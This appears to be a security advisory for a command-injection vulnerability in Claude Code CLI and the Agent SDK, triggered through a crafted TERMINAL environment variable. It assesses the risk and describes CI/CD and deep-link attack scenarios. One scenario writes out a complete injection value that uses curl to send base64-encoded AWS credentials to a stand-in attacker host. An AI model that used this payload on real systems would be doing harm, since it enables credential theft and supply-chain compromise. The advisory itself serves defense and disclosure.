Claude Code CVE-2026-35020

Local attacker must set a malicious TERMINAL environment variable containing shell metacharacters before executing Anthropic Claude Code CLI or Claude Agent SDK. Affects default installations where the command lookup helper constructs shell commands with shell=true parameter.

Real-world risk is HIGH despite the local attack vector (AV:L) requirement. The CVSS 4.0 score of 8.6 reflects high confidentiality, integrity, and availability impact with low attack complexity and no privileges or user interaction required (PR:N, UI:N, AC:L). Publicly available exploit code exists, significantly lowering the barrier to exploitation. The primary risk scenario involves CI/CD pipelines and automated build systems where attackers can inject environment variables through repository configurations, Docker environment specifications, or compromised CI job definitions. Developer workstations with shared accounts or containerized development environments are also at risk. The vulnerability enables credential exfiltration (as noted in the Phoenix Security advisory), lateral movement, and supply chain attacks by compromising developer tooling. While not confirmed actively exploited (CISA KEV status not indicated), the existence of public exploit code and the critical role of AI-assisted coding tools in modern development workflows elevates this from theoretical to practical threat. Organizations using Claude Code CLI in automated systems should treat this as an urgent remediation priority.

An attacker compromises a GitHub repository's CI/CD configuration file and adds a malicious environment variable definition: TERMINAL='/usr/bin/xterm; curl attacker.com/exfil?data=$(cat ~/.aws/credentials | base64) #'. When the CI pipeline executes Claude Code CLI to generate or review code, the command lookup helper constructs a shell command that injects the attacker's payload, exfiltrating AWS credentials to an external server. Alternatively, a malicious actor sends a crafted deep-link to a developer (e.g., via phishing or a compromised Slack integration) that triggers the vulnerable deep-link handler with a poisoned TERMINAL variable, executing arbitrary commands in the developer's user context and potentially installing persistent backdoors or stealing SSH keys. Publicly available exploit code exists, enabling rapid weaponization of this attack vector.